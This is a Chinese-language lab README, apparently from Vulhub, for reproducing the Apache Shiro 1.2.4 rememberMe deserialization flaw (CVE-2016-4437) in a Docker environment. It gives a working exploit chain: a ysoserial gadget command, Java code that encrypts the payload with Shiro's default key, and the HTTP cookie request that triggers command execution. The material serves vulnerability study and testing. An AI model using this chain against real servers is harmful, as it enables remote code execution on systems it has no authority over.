Aaron
63285f61aa
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65 lines
1.9 KiB
Markdown
65 lines
1.9 KiB
Markdown
# Apache Shiro 1.2.4 反序列化漏洞（CVE-2016-4437）
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Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。
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Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。
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## 漏洞环境
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执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务：
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```
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docker compose up -d
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```
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服务启动后，访问`http://your-ip:8080`可使用`admin:vulhub`进行登录。
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## 漏洞复现
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使用ysoserial生成CommonsBeanutils1的Gadget：
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```
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java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
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```
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使用Shiro内置的默认密钥对Payload进行加密：
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```java
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package org.vulhub.shirodemo;
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import org.apache.shiro.crypto.AesCipherService;
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import org.apache.shiro.codec.CodecSupport;
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import org.apache.shiro.util.ByteSource;
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import org.apache.shiro.codec.Base64;
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import org.apache.shiro.io.DefaultSerializer;
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import java.nio.file.FileSystems;
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import java.nio.file.Files;
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import java.nio.file.Paths;
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public class TestRemember {
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public static void main(String[] args) throws Exception {
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byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));
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AesCipherService aes = new AesCipherService();
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byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
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ByteSource ciphertext = aes.encrypt(payloads, key);
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System.out.printf(ciphertext.toString());
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}
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}
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```
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然后发送包含加密Payload的rememberMe Cookie：
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```
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GET / HTTP/1.1
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Host: your-ip:8080
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Cookie: rememberMe=<encrypted_payload>
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```
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可见，`touch /tmp/success`命令已执行：
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